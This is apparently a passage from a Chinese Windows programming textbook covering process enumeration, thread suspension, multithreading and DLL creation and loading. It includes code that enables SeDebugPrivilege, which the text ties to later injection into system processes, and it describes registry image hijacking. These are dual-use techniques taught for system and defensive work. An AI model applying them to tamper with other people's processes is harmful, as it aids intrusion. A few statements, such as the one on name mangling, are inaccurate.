  图3-15 “Window Search”显示“记事本”的窗口名称 

 
在“Caption”中的内容就是“记事本”程序的窗口名称，我们把它作为 FindWindow()函数的第二参数，这样，可以获取该窗口的窗口句柄，再通过窗口句柄获得该窗口所属进程的ID。代码如下：
 
DWORD GetWindowThreadProcessId(
 
HWND hWnd,　　　　// handle to window
 
LPDWORD lpdwProcessId　// process identifier
 
);
 
该函数第一个参数是获取到的窗口句柄，第二个参数是一个输出参数，会返回该进程的ID。
 
在获得了进程 ID 后，通常通过使用 OpenProcess()来获得进程的句柄。该函数的原型如下：
 
HANDLE OpenProcess(
 
DWORD dwDesiredAccess,　// access flag
 
BOOL bInheritHandle,　// handle inheritance option
 
DWORD dwProcessId　　// process identifier
 
);
 
参数说明如下。
 
（1）dwDesiredAccess：进程欲获得的访问权限，该参数为了方便可以始终为PROCESS_ALL_ACCESS。
 
（2）bInheritHandle：指定获取的句柄是否可以继承，一般情况下为FALSE。
 
（3）dwProcessId：指定欲打开的进程ID号。
 
该函数的返回值为进程的句柄，通过这个句柄可以结束进程。
 
既然已经获得了进程的句柄，那么就可以结束指定的进程了。在结束完进程后，也要记得用CloseHandle()关闭用OpenProcess()打开的进程句柄。
 

 
3.5.6 进程的枚举
 
进程的枚举就是把所有的进程都显示出来。当然了，有一些特意隐藏的进程是无法通过常规的枚举方式枚举到的。这里只介绍应用层的进程枚举。在应用层枚举进程有多种方法，这里只介绍相对常见的枚举进程的方法。在学习进程的枚举的过程中，我们会完成一个自己的进程管理器，如图3-16所示。
 

 [image: figure_0065_0039]

 

  图3-16 进程管理器 

 
在进程管理器中，除了对进程的枚举，还会对线程进行枚举，还有对进程中加载的DLL进行枚举。要枚举的内容非常多，但枚举的API函数都类似。下面介绍以下几个API函数。
 
枚举进程需要的API函数分别有CreateToolhelp32Snapshot()，该函数的作用是对当前系统中的进程进行一个快照，在创建快照以后进行逐个进程的枚举。枚举进程的函数是Process32First()/Process32Next()。如果是枚举线程的话那 么枚举函数是Thread32First()/Thread32Next()。如果是枚举进程中的 DLL 的话，那么枚举函数是Module32First()/Module32Next()。在使用以上这些函数的时候，需要包含Tlhelp32.h头文件，否则在编译的时候会提示使用了未定义的函数。针对以上函数，分别进行一个简单的介绍。
 
CreateToolhelp32Snapshot()函数的原型：
 
HANDLE WINAPI CreateToolhelp32Snapshot(
 
DWORD dwFlags,
 
DWORD th32ProcessID
 
);
 
参数说明如下。
 
（1）dwFlags：该参数指明要建立系统快照的类型，对于要枚举的内容，该参数可以指定如下值。
 
① TH32CS_SNAPMODULE：在枚举进程中的DLL 时指定。
 
② TH32CS_SNAPPROCESS：在枚举系统中的进程时指定。
 
③ TH32CS_SNAPTHREAD：在枚举系统中的线程时指定。
 
（2）Th32ProcessID：该参数根据dwFlags的不同而不同。如果枚举的是系统中的进程，或系统中的线程时，该参数为NULL；如果枚举的是进程中加载的DLL的话，那么该参数为进程ID号。
 
该函数返回一个快照的句柄，在进行枚举时都会用到该句柄。
 
Process32First()函数的原型：
 
BOOL WINAPI Process32First(
 
HANDLE hSnapshot,
 
LPPROCESSENTRY32 lppe
 
);
 
参数说明如下。
 
（1）hSnapshot：该参数为CreateToolhelp32Snapshot()返回的句柄；
 
（2）lppe：为指向一个PROCESSENTRY32结构体的指针，该结构的定义如下。
 
typedef struct tagPROCESSENTRY32 {
 
DWORD dwSize;
 
DWORD cntUsage;
 
DWORD th32ProcessID;　　　// 进程ID
 
ULONG_PTR th32DefaultHeapID;
 
DWORD th32ModuleID;
 
DWORD cntThreads;
 
DWORD th32ParentProcessID;　　// 父进程的进程ID
 
LONG　pcPriClassBase;
 
DWORD dwFlags;
 
TCHAR szExeFile[MAX_PATH];　　// 可执行文件的文件名
 
} PROCESSENTRY32;
 
typedef PROCESSENTRY32 *PPROCESSENTRY32;
 
在使用该结构体时，需要对该结构体中的成员变量 dwSize 进行赋值，该变量保存PROCESSENTRY32结构体的大小。
 
Process32Next()函数的原型：
 
BOOL WINAPI Process32Next(
 
HANDLE hSnapshot,
 
LPPROCESSENTRY32 lppe
 
);
 
该函数的使用与Process32Next()类似。对于枚举进程中加载DLL的枚举，对于系统中线程的枚举，都与此函数类似，只是枚举DLL与线程时，XXX32First()与XXX32Next()的第二个参数指向的结构体不同。这4个函数的使用请大家参考MSDN自行学习。
 
对于枚举进程的 API 函数已经学习了，下面看一下枚举进程、枚举进程中加载 DLL 的代码吧。
 
枚举系统进程的代码：
 
VOID CManageProcessDlg::ShowProcess()
 
{
 
m_ListProcess.DeleteAllItems();
 
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 
……
 
PROCESSENTRY32 Pe32 = { 0 };
 
Pe32.dwSize = sizeof(PROCESSENTRY32);
 
BOOL bRet = Process32First(hSnap, &Pe32);
 
……
 
while ( bRet )
 
{
 
……
 
bRet = Process32Next(hSnap, &Pe32);
 
}
 
}
 
枚举指定进程中加载DLL的代码：
 
VOID CManageProcessDlg::ShowModule()
 
{
 
m_ListModule.DeleteAllItems();
 
int nPid = GetSelectPid();
 
MODULEENTRY32 Me32 = { 0 };
 
Me32.dwSize = sizeof(MODULEENTRY32);
 
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, nPid);
 
……
 
BOOL bRet = Module32First(hSnap, &Me32);
 
……
 
while ( bRet )
 
{
 
……
 
bRet = Module32Next(hSnap, &Me32);
 
}
 
}
 

 
3.5.7 调整当前进程的权限
 
我们枚举的代码基本上是完成了，到VC6下直接按Ctrl+F5组合键运行程序，可以看到我们枚举的进程都出来了。然后选中“svchost.exe”进程，单击“查看DLL”按钮，“svchost.exe”进程中加载的DLL也都枚举出来了，这样运行是没有问题的。接下来找到编译好的任务管理器运行（不要直接在VC6下运行），可以看到，我们枚举的进程也都显示出来了。仍然选中“svchost.exe”，然后单击“查看DLL”，是不是没有查看到“svchost.exe”进程加载的DLL文件，这是什么原因？换一个其他的进程试试，比如选择自己编写的任务管理器试试，可以查看其DLL文件。通过试验发现，系统文件的DLL我们都无法枚举到，可是在VC6下直接运行是可以枚举到的。不单单是这方面的问题，而且在使用OpenProcess()函数打开如smss.exe、winlogon.exe 等系统进程的时候，也同样会导致函数的调用失败，其实这个问题是当前进程权限级别不够所导致的。解决这个问题很容易，只要当前进程具有“SeDebugPrivilege”权限就可以了，接下来就来说明这个调整当前进程的权限。
 
调整权限其实并不复杂，主要有3个步骤。
 
（1）使用OpenProcessToken()函数打开当前进程的访问令牌。
 
（2）使用LookupPrivilegeValue()函数取得描述权限的LUID。
 
（3）使用AdjustTokenPrivileges()函数调整访问令牌的权限。
 
调整权限使当前进程拥有“SeDebugPrivilege”权限，拥有这个权限后，当前进程可以访问一些受限的系统资源。在后面讲到远程线程注入的时候，同样需要调整当前进程的访问令牌权限，否则是无法对系统进程进行注入的。因为在进行注入的时候，同样要用到OpenProcess()这个函数。下面给出调整权限的代码，不过在这个代码里面没有做返回值的判断，通常情况下是没有问题的。代码如下：
 
VOID CManageProcessDlg::DebugPrivilege()
 
{
 
HANDLE hToken = NULL;
 
BOOL bRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
 
if ( bRet == TRUE )
 
{
 
TOKEN_PRIVILEGES tp;
 
tp.PrivilegeCount = 1;
 
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
 
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
 
CloseHandle(hToken);
 
}
 
}
 

 
3.5.8 进程的暂停与恢复
 
在有些时候，我们不得不让进程暂停运行。比如，病毒有两个运行的进程，它们在不断的“互相帮助”，当一个病毒进程发现另一个病毒进程被结束了，那么它会再次把那个病毒运行起来。由于两个进程一直在做这样的事情，而且频度很高，因此很难把两个进程都结束掉。这样，就不得不让病毒的进程暂停了，当两个进程都暂停掉以后，就可以把病毒结束掉了。
 
让进程暂停，通常使用的是SuspendThread()函数。该函数的定义如下：
 
DWORD SuspendThread(
 
HANDLE hThread　// handle to thread
 
);
 
该函数就一个参数，是一个线程的句柄。获得线程的句柄需要使用OpenThread()来打开一个指定的线程。对于得到线程ID，我们可以对线程进行枚举，然后就可以打开线程并将其暂停了。
 
注：OpenThread()函数在VC6提供的PSDK中是不存在的，必须更新PSDK才可以使用。如果没有更新 PSDK 的话，需要使用 LoadLibrary()和 GetProcAddress()来使用该函数。对于LoadLibrary()和GetProcAddress()函数的使用在DLL编程中将会进行介绍。
 
枚举线程的函数是 Thread32First()和 Thread32Next()这两个，对于枚举线程前，我们用CreateToolhelp32Snapshot()只能创建系统的线程快照，不能创建指定进程中的线程的快照。这样在暂停线程时，必须对枚举到的线程进行判断，看其是否为指定进程中的线程。如何判断一个线程是属于哪个进程的呢？我们看一下THREADENTRY32这个结构体。
 
typedef struct tagTHREADENTRY32{
 
DWORD　dwSize;
 
DWORD　cntUsage;
 
DWORD　th32ThreadID;
 
DWORD　th32OwnerProcessID;
 
LONG　tpBasePri;
 
LONG　tpDeltaPri;
 
DWORD　dwFlags;
 
} THREADENTRY32;
 
typedef THREADENTRY32 *PTHREADENTRY32;
 
该结构体中，th32ThreadID标识了当前枚举到的线程的线程ID，th32OwnerProcessID标识了该线程归属的进程ID。因此，只要进行一次简单的判断就可以了。看一下暂停的代码：
 
void CManageProcessDlg::OnBtnStop()
 
{
 
nPid = GetSelectPid();
 
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, nPid);
 
if ( hSnap == INVALID_HANDLE_VALUE )
 
{
 
AfxMessageBox("CreateToolhelp32Snapshot Error");
 
return ;
 
}
 
THREADENTRY32 Te32 = { 0 };
 
Te32.dwSize = sizeof(THREADENTRY32);
 
BOOL bRet = Thread32First(hSnap, &Te32);
 
while ( bRet )
 
{
 
if ( Te32.th32OwnerProcessID == nPid )
 
{
 
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, Te32.th32ThreadID);
 
SuspendThread(hThread);
 
CloseHandle(hThread);
 
}
 
bRet = Thread32Next(hSnap, &Te32);
 
}
 
}
 
与进程暂停相对应的是恢复暂停的进程。恢复暂停的进程的函数是使用ResumeThread()函数，该函数原型如下：
 
DWORD ResumeThread(
 
HANDLE hThread　// handle to thread
 
);
 
该函数的使用方法与SuspendThread()一样。恢复暂停的进程的代码大家可根据暂停进程的代码自行修改，这里就不给出完整的代码了。
 
在进程相关的最后部分给大家介绍一个不错的工具，该工具的界面如图3-17所示。
 

 [image: figure_0069_0040]

 

  图3-17 Process Explorer的界面 

 
该软件的功能非常强大，当启动一个进程或者结束一个进程的时候，该软件会高亮显示被启动或结束的进程。当然了，它的功能非常多，还是大家自己研究挖掘一下。在这里重点介绍该工具中的一个小功能，单击菜单“Options”->“ReplaceTaskManager”命令，该功能是用来替换系统的任务管理的，也就是将Process Explorer 设为默认的任务管理器。大家替换一下任务管理器，然后按下Ctrl+Shift+Esc 组合键试试看，是不是Process Explorer 被打开了，原来的任务管理器不见了。如果想要还原到原来的任务管理器，只要再次单击“Replace Task Manager”菜单项就可以了，我们单击一下该菜单还原到原来的任务管理器。
 
该功能是如何实现的呢？原理其实是对注册表做了手脚，对注册表的哪些地方做了手脚呢？我们介绍另外一个值得推荐的工具，叫做 Regmon，它是用来监控注册表的。该软件如图3-18所示。
 

 [image: figure_0070_0041]

 

  图3-18 RegMon界面 

 
按 Ctrl+L 组合键，弹出“Regmon Filter”界面，我们在“Include”文本框中输入“procexp.exe”，如图3-19所示。
 

 [image: figure_0070_0042]

 

  图3-19 RegMon Filter界面 

 
输入完后单击“OK”按钮，再单击Process Explorer的“Replace Task Manager”菜单项，看RegMon捕获到的注册表的信息，如图3-20和图3-21所示。
 

 [image: figure_0071_0043]

 

  图3-20 修改的注册表项 

 

 [image: figure_0071_0044]

 

  图3-21 修改的注册表键的值 

 
打开注册表编辑器看一下被修改的内容，如图3-22所示。
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  图3-22 注册表中被修改的值 

 
将该值删掉，再按下Ctrl+ Shift+Esc组合键看一下，默认的任务管理器出现了，这就是注册表中有名的映像劫持。大家可以自己在我们编写的任务管理器中添加这样一个替换系统任务管理器的功能以做练习。关于注册表的操作，大家可以参考前面学习的内容。
 

 
3.5.9 多线程
 
线程是进程中的一个执行单位（每个进程都必须有一个主线程），一个进程中可以有多个线程，而一个线程只存在于一个进程中。在数据关系上，这是一对多的关系。线程不拥有系统资源，线程所使用的资源全部由进程向系统申请。
 
在多处理器中，不同的线程可以同时运行在不同的CPU上，这样可以提高程序运行的效率。除此而外，在有些方面必须要使用多线程。比如，如果扫描磁盘并同时在程序界面上显示当前扫描的位置，这样就必须使用多线程。因为在程序界面上显示和磁盘的扫描工作在同一个线程中，而且界面也不停地进行重新显示，这样就会导致软件看起来像是卡死一样。如果分为两个线程就可以解决该问题。界面的显示由主线程完成，而扫描磁盘的工作由另外一个线程工作，两个线程协同工作，这样就可以达到我们想要的效果了。
 
首先了解一下线程的创建，线程的创建使用CreateThread()函数，该函数的原型如下：
 
HANDLE CreateThread(
 
LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
 
DWORD dwStackSize,　　　　　　// initial stack size
 
LPTHREAD_START_ROUTINE lpStartAddress,　// thread function
 
LPVOID lpParameter,　　　　　　// thread argument
 
DWORD dwCreationFlags,　　　　　// creation option
 
LPDWORD lpThreadId　　　　　　// thread identifier
 
);
 
参数说明如下。
 
（1）lpThreadAttributes：该函数指向一个安全属性，该参数一般设置为NULL。
 
（2）dwStackSize：该参数指定线程的栈大小，该参数一般设置为0，表示默认栈大小。
 
（3）lpStartAddress：该参数指向一个线程函数地址，该函数属于一个回调函数。所谓回调函数，就是由系统去调用该函数，并不是由我们直接调用该函数。
 
线程函数的定义如下：
 
DWORD WINAPI ThreadProc(
 
LPVOID lpParameter　// thread data
 
);
 
线程函数的返回值为 DWORD 类型，该函数只有一个参数，该参数由 CreateThread()函数给定。该函数的函数名称可以任意给定。这里介绍一下 WINAPI，WINAPI 是一个宏，该宏的定义如下：
 
#define WINAPI　__stdcall
 
这是一种函数的调用约定，该调用约定会在后面的章节中介绍，在这里只需要了解就可以了。
 
（1）lpParameter：该参数是传递给线程函数的一个参数。
 
（2）dwCreationFlags：该参数指明创建线程后的线程状态，在创建线程后可以让线程立刻执行，也可以让线程处于暂停状态。如果需要立刻执行，将该参数设置为 0；如果要让线程处于暂停状态，那么该参数值设为CREATE_SUSPENDED；需要线程执行时调用我们前面介绍过的ResumeThread()函数。
 
（3）lpThreadId：该参数用于返回新创建线程的线程ID。
 
该函数返回新创建线程的句柄，在线程结束后需要使用CloseHandle()函数关闭该句柄以便释放资源。我们来写一个简单的CreateTheadTest例子，代码如下：
 
#include <Windows.h>
 
#include <stdio.h>
 
DWORD WINAPI ThreadProc(LPVOID lpParam)
 
{
 
printf("ThreadProc\r\n");
 
return 0;
 
}
 
int main(int argc, char* argv[])
 
{
 
HANDLE hThread=CreateThread(NULL,
 
0,
 
ThreadProc,
 
NULL,
 
0,
 
NULL);
 
printf("main \r\n");
 
CloseHandle(hThread);
 
return 0;
 
}
 
从该代码的意图来看，主线程会打印一行“main”，而创建的线程会打印一行“ThreadProc”。编译运行，查看一下运行结果，如图3-23所示。
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  图3-23 CreateTheadTest运行结果 

 
跟我们想要的结果不一样，这是怎么回事呢？每个线程都有自己的CPU时间片，当主线程创建了新线程后，它的CPU时间片并没有完，它还可以继续执行。由于主线程的代码非常少，在CPU指定的CPU时间片中主线程执行完后就退出了。主线程结束，那么意味着程序也就结束了，所以我们自己创建的线程根本就没有被执行到。如果要等我们自己创建的线程结束后才可以输出“main”的话，主线程要如何等待我们创建的线程呢？答案是使用WaitForSingleObject()函数，该函数的原型如下：
 
DWORD WaitForSingleObject(
 
HANDLE hHandle,　　// handle to object
 
DWORD dwMilliseconds　// time-out interval
 
);
 
参数说明如下。
 
（1）hHandle：该参数指向要等待的对象句柄。
 
（2）dwMilliseconds：该参数指定等待超时的毫秒数，设置为INFINITE则表示一直等待到线程函数返回。INFINITE是系统给出的一个宏，该定义如下。
 
#define INFINITE 0xFFFFFFFF
 
该函数如果返回为WAIT_OBJECT_0，表明制定的对象已经是处于完成状态；如果返回值为 WAIT_TIMEOUT，则表明在指定的时间内没有完成，处于潮湿状态。若该函数调用失败，则返回WAIT_FAILED。
 
修改上面的代码，在CreateThread()函数的后面加入以下代码：
 
WaitForSingleObject(hThread, INFINITE);
 
添加WaitForSingleObject()以后，主线程会等待我们的创建的线程结束后再执行主线程后续的代码。这样，在控制台上就会分别打印“ThreadProc”和“main”了。
 
WaitForSingleObject()只能等待一个线程，可是在程序中往往要创建很多个线程来执行，那么如果需要等待若干个线程的完成状态的话，WaitForSingleObject()就无能为力了。不过，系统提供了其他的函数来让我们等待多个线程的完成状态，该函数的定义如下：
 
DWORD WaitForMultipleObjects(
 
DWORD nCount,　　　　// number of handles in array
 
CONST HANDLE *lpHandles,　// object-handle array
 
BOOL fWaitAll,　　　　// wait option
 
DWORD dwMilliseconds　　// time-out interval
 
);
 
在使用多线程时常常需要注意很多问题。比如，多个线程同时对某一个共享资源进行操作，那么可能就会出现问题。来看一个简单的例子：
 
int g_Num_One = 0;
 
DWORD WINAPI ThreadProc(LPVOID lpParam)
 
{
 
int nTmp = 0;
 
for ( int i = 0; i < 10; i ++ )
 
{
 
nTmp = g_Num_One;
 
nTmp ++;
 
// Sleep(1)的作用是让出CPU
 
// 使其他线程被调度运行
 
Sleep(1);
 
g_Num_One = nTmp;
 
}
 
return 0;
 
}
 
每个线程都有一个 CPU 时间片，当自己的时间片运行完成后，CPU 会停止该线程的运行，并切换到其他线程去运行。当多线程同时操作一个共享资源时，这样的切换会带来隐形的问题。我们的代码比较短，在一个CPU时间片内会完成，因此可能看不出错误，为了达到出错的效果，在代码中加入Sleep(1)，主动让出CPU，让CPU进行线程的切换。这里的共享资源就是那个全局变量g_Num_One。调用该线程函数的代码如下：
 
for ( int i = 0; i < 10; i ++ )
 
{
 
hThread[i] = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
 
}
 
WaitForMultipleObjects(10, hThread, TRUE, INFINITE);
 
for ( i = 0; i < 10; i ++ )
 
{
 
CloseHandle(hThread[i]);
 
}
 
printf("%d \r\n", g_Num_One);
 
我们创建10个线程，每个线程都让g_Num_One进行10次自增1的操作，那么g_Num_One的结果应该是100。我们实际运行一下看看结果是多少，如图3-24所示。
 
这个输出结果并不是我们想要的输出结果。在多线程环境中，对共享资源的操作要进行保护，在这里，我们可以使用临界区对象对该全局变量进行保护。
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  图3-24 运行结果 

 
临界区对象是一个CRITICAL_SECTION的数据结构，Windows操作系统使用该数据结构来进行对关键代码的保护，以确保多线程下的共享资源。
 
对于临界区的函数有 4 个，分别是初始化临界区对象（InitializeCriticalSection()）、进入临界区（EnterCriticalSection()）、离开临界区（LeaveCriticalSection()）和删除临界区对象（DeleteCriticalSection()）。这4个函数的定义分别如下：
 
VOID InitializeCriticalSection(
 
LPCRITICAL_SECTION lpCriticalSection // critical section
 
);
 
VOID DeleteCriticalSection(
 
LPCRITICAL_SECTION lpCriticalSection // critical section
 
);
 
VOID EnterCriticalSection(
 
LPCRITICAL_SECTION lpCriticalSection // critical section
 
);
 
VOID LeaveCriticalSection(
 
LPCRITICAL_SECTION lpCriticalSection // critical section
 
);
 
这4个函数的参数都是指向CRITICAL_SECTION结构体的指针。我们修改的代码如下：
 
#include <Windows.h>
 
#include <stdio.h>
 
int g_Num_One = 0;
 
CRITICAL_SECTION g_cs;
 
DWORD WINAPI ThreadProc(LPVOID lpParam)
 
{
 
int nTmp=0;
 
for ( int i = 0; i < 10; i ++ )
 
{
 
EnterCriticalSection(&g_cs);
 
nTmp = g_Num_One;
 
nTmp ++;
 
Sleep(1);
 
g_Num_One = nTmp;
 
LeaveCriticalSection(&g_cs);
 
}
 
return 0;
 
}
 
int main(int argc, char* argv[])
 
{
 
InitializeCriticalSection(&g_cs);
 
HANDLE hThread[10] = { 0 };
 
for ( int i = 0; i < 10; i ++)
 
{
 
hThread[i]=CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
 
if ( hThread[i] == NULL )
 
{
 
printf("%d CreateThread Error\r\n", i);
 
}
 
}
 
WaitForMultipleObjects(10, hThread, TRUE, INFINITE);
 
printf("%d \r\n", g_Num_One);
 
for ( i = 0; i < 10; i ++ )
 
{
 
CloseHandle(hThread[i]);
 
}
 
DeleteCriticalSection(&g_cs);
 
return 0;
 
}
 
再次编译运行该代码，输出的结果为正确结果，即g_Num_One的值为100。除了临界区对象以外，对于线程的同步还有其他的方法，这里就不进行一一的介绍了。希望大家在今后开发多线程编程时，切记要注意多线程的同步问题。
 

 
3.6 DLL编程
 
DLL（Dynamic Link Library，动态链接库）是一个可以被其他应用程序调用的程序模块，其中封装了可以被调用的资源和函数。动态链接库的扩展名一般是.DLL，不过有时也可能是其他的。DLL文件也属于可执行文件，只不过它是依附于EXE文件来被执行的。一个DLL文件可以被多个EXE文件加载。
 

 
3.6.1 什么是DLL
 
Windows操作系统下有非常多的DLL文件，有的是操作系统的DLL文件，有的是应用程序的DLL文件。DLL文件有什么好处呢？DLL是动态链接库，相对应的有静态链接库。动态链接库是在EXE文件运行时被加载执行的，而静态链接库是在OBJ文件进行连接时同时被保存到程序中。动态链接库可以减少可执行文件的体积，在需要的时候进入内存等很多好处。
 

 
3.6.2 编写一个简单的DLL程序
 
我们编写一个简单的DLL程序，并在DLL程序中添加一个导出函数。所谓导出函数，就是DLL提供给外部EXE或其他类型的可执行文件调用的函数，当然DLL本身也可以自己进行调用。我们启动VC6来编写一个DLL程序。
 
启动 VC6 程序，单击菜单“文件”->“新建”命令，在“Projects”选项卡中的左边选择“Win32 Dynamic-Link Library”，在“Project name：”文本框中填写“FirstDll”，如图3-25所示。
 
单击“OK”按钮，出现“Win32 Dynamic-Link Library– Step 1 of 1”界面，选择“A simple DLL Project”项，单击“Finish”按钮。在然后出现的对话框中直接单击“OK”按钮即可。在创建好该工程后，VC6自动生成如下代码：
 
BOOL APIENTRY DllMain( HANDLE hModule,
 
DWORD ul_reason_for_call,
 
LPVOID lpReserved
 
)
 
{
 
return TRUE;
 
}
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  图3-25 新建DLL工程 

 
DLL程序的入口函数是DllMain()，该函数有以下3个参数。
 
（1）hModule：DLL模块的句柄。
 
（2）ul_reason_for_call：DllMain函数被调用的原因。
 
该参数的取值有4种，分别是DLL_PROCESS_ATTACH（当DLL被某进程加载时DllMain被调用）、DLL_PROCESS_DETACH （当 DLL 被某进程卸载时 DllMain 被调用）、DLL_THREAD_ATTACH （进程中有线程被创建时DllMain被调用）和DLL_THREAD_DETACH（进程中有线程结束时DllMain被调用）。
 
（3）lpReserved：保留项，也就是 Windows 的保留参数。所谓保留参数不是不使用的参数，是Windows不想让我们知道作用的参数。
 
DllMain()前面有一个APIENTRY，这是一个宏，该宏定义如下：
 
#define APIENTRY　WINAPI
 
我们在前面介绍过，WINAPI也是一个宏，该宏表示一种函数调用约定。
 
DllMain()函数不只一次地被调用，每次的调用可能执行不同的代码，比如当进程加载该DLL时，可能在DLL中要申请一些资源，在进程卸载该DLL时，DLL则要释放自己所申请的资源。处于这些原因，在写DLL程序时，需要这样把DllMain()函数写成如下形式：
 
BOOL APIENTRY DllMain( HANDLE hModule,
 
DWORD ul_reason_for_call,
 
LPVOID lpReserved
 
)
 
{
 
switch( ul_reason_for_call )
 
{
 
case DLL_PROCESS_ATTACH:
 
{
 
break;
 
}
 
case DLL_PROCESS_DETACH:
 
{
 
break;
 
}
 
case DLL_THREAD_ATTACH:
 
{
 
break;
 
}
 
case DLL_THREAD_DETACH:
 
{
 
break;
 
}
 
}
 
return TRUE;
 
}
 
这样写就可以达到根据不同的调用原因执行不同的代码。我们添加一个简单的导出函数。
 
该函数的定义如下：
 
extern "C" __declspec(dllexport) VOID MsgBox(char *szMsg);
 
extern "C"表示该函数以C 方式导出，由于源代码是.CPP 文件，因此，如果按C 方式导出的话，那么在编译后函数名会被名字粉碎，因此在动态调用该函数时就会极为不方便。该函数的实现如下：
 
VOID MsgBox(char *szMsg)
 
{
 
char szModuleName[MAX_PATH]={0};
 
GetModuleFileName(NULL, szModuleName, MAX_PATH);
 
MessageBox(NULL, szMsg, szModuleName, MB_OK);
 
}
 
运行函数后弹出一个对话框，显示一个字符串，并显示其所在的进程的进程名。我们分别在DLL_PROCESS_ATTACH和DLL_PROCESS_DETACH下加一个对该函数的调用，代码如下：
 
case DLL_PROCESS_ATTACH:
 
{
 
MsgBox("DLL_PROCESS_ATTACH");
 
break;
 
}
 
case DLL_PROCESS_DETACH:
 
{
 
MsgBox("DLL_PROCESS_DETACH");
 
break;
 
}
 
编译该代码，会生成两个对我们有用的文件，一个是“FirstDll.dll”，另外一个是“FirstDll.lib”，前面的是DLL文件，后面的是库文件，该库文件中包含着导出函数的相关信息。
 

 
3.6.3 对DLL程序的调用方法一
 
DLL程序就写到这里，接下来写个调用该DLL的程序测试一下吧。我们需要对该DLL进行两方面的测试，一个是看当加载和卸载该DLL时，是否会弹出对话框；另外一个是调用这个DLL的导出函数看是否能成功。
 
在工作区的“Workspace ‘FirstDll’:1project”上单击右键，在弹出的菜单中选择“Add New Project to Workspace …”，如图3-26 所示。
 
弹出“New”对话框，在“Projects”选项卡的左面选择“Win32 Console Application”，在“Project name：”文本框中填写：“DllTest1”。单击“OK”按钮，在出现的对话框中选择“A Simple Application”，该处和前面内容类似。在左面的工作区打开我们新建的工程，在DllTest1.cpp中添加代码：
 
#include <Windows.h>
 
extern "C" VOID MsgBox(char *szMsg);
 
#pragma comment (lib, "FirstDll")
 
int main(int argc, char* argv[])
 
{
 
MsgBox("Hello Frist Dll !");
 
return 0;
 
}
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  图3-26 添加测试工程 

 
对该代码进行编译连接，这时并没有生成我们想要的可执行文件，在编译连接过程中出错了，出错信息如图3-27所示。
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  图3-27 出错信息 

 
这个错误确切地说是连接错误，原因是找不到DLL的Lib文件，我们把“FristDll.lib”文件复制到DllTest1这个工程的目录下，再次编译连接，这次通过了。那么我们就来运行这个DllTest1的程序。不过很可惜，运行出错，错误提示如图3-28所示。
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  图3-28 运行DllTest1时的错误信息 

 
这个错误的原因是DllTest1找不到FirstDll.dll这个文件，把开始编译好的这个文件也复制到DllTest1的工程目录下，再次运行，这次一切正常，并且看到弹出3次对话框，说明DLL程序已经能够正常运行了。
 

 
3.6.4 对DLL程序的调用方法二
 
第一种方法是属于静态调用，现在的第二种方法属于动态调用。静态调用就是在编译测试程序DllTest1时，FirstDll.dll的信息就已经写入了DllTest1的程序中了。对于动态加载的话，就不是编译时完成了，而是在运行时完成，那么FirstDll.dll的信息也不会写入测试程序中了。现在来写一个DllTest2程序，该程序的建立方法与DllTest1的建立方法相同。DllTest2的代码如下：
 
#include <Windows.h>
 
typedef VOID (*PFUNMSG)(char *);
 
int main(int argc, char* argv[])
 
{
 
HMODULE hModule=LoadLibrary("FirstDll.dll");
 
if ( hModule == NULL )
 
{
 
MessageBox(NULL,"FirstDll.dll文件不存在","DLL加载失败", MB_OK);
 
return -1;
 
}
 
PFUNMSG pFunMsg = (PFUNMSG)GetProcAddress(hModule, "MsgBox");
 
pFunMsg("Hello First Dll");
 
return 0;
 
}
 
我们对代码进行编译连接，正常编译通过。那么就运行该程序，提示“FirstDll.dll 文件不存在”，这说明DllTest2程序没有找到FirstDll.dll文件。把FirstDll.dll文件拷贝到DllTest2的工程目录下，再次运行该程序，这次运行成功了，并且应该弹出的3个对话框也都正常弹出了。我们的测试也是成功的。
 
DLL的动态加载是非常有用的，在DllTest1中，如果无法找到DLL文件，系统会直接报错而退出，而在DllTest2中，如果无法找到DLL文件，程序会给出一个错误提示，并且可以继续运行，而不影响其他代码的运行。除此而外，如果知道一些API函数，而这些API函数是未文档化的函数，或者是没有提供头文件的API函数，要怎么办呢？比如在前面的内容中用到的函数OpenThread()，该函数在VC6默认的PSDK中是没有提供定义的，在新的PSDK中才有，那如何使用呢？那就需要用到LoadLibrary()和GetProcAddress()这两个API函数了。看一下LoadLibrary()和GetProcAddress()这两个函数的定义：
 
HMODULE LoadLibrary(
 
LPCTSTR lpFileName　// file name of module
 
);
 
该函数只有一个参数，就是要加载的DLL文件的文件名。
 
FARPROC GetProcAddress(
 
HMODULE hModule,　// handle to DLL module
 
LPCSTR lpProcName　// function name
 
);
 
该函数有两个参数，hModule是模块的句柄，lpProcName指定要获取函数地址的函数名称。
 
在关于DLL话题的最后，介绍一下如何查看DLL程序的导出函数。在这里介绍两个工具，一个工具是VC6自带的工具“Depends”，另一个工具是用来查看PE结构（关于PE结构的内容在后面的章节会讲到）的工具“PEID”。
 
首先用“Depends”来查看DLL的导出函数，如何找到这个工具呢？在VC6的安装菜单下就可以找到该工具。方法如下：单击菜单“开始”->“程序”->“Microsoft Visual Studio6.0”->“Microsoft Visual Studio 6.0 Tools”->“Depends”命令，打开该程序，再单击菜单“File”->“Open…”命令，在“打开”对话框中找到我们写的FirstDll.dll文件并打开，如图3-29所示。
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  图3-29 Depends界面 

 
右下角这个区域范围就是我们的导出函数部分，这里可以看到导出函数“MsgBox”。
 
除了这个工具以外，再介绍一个工具——PEID。该工具是用来进行查壳的工具，我们把FirstDll.dll文件拖曳到PEID界面上，PEID会自动解析出该DLL文件的PE结构，该界面如图3-30所示。
 

 [image: figure_0081_0053]

 

  图3-30 PEID界面 

 
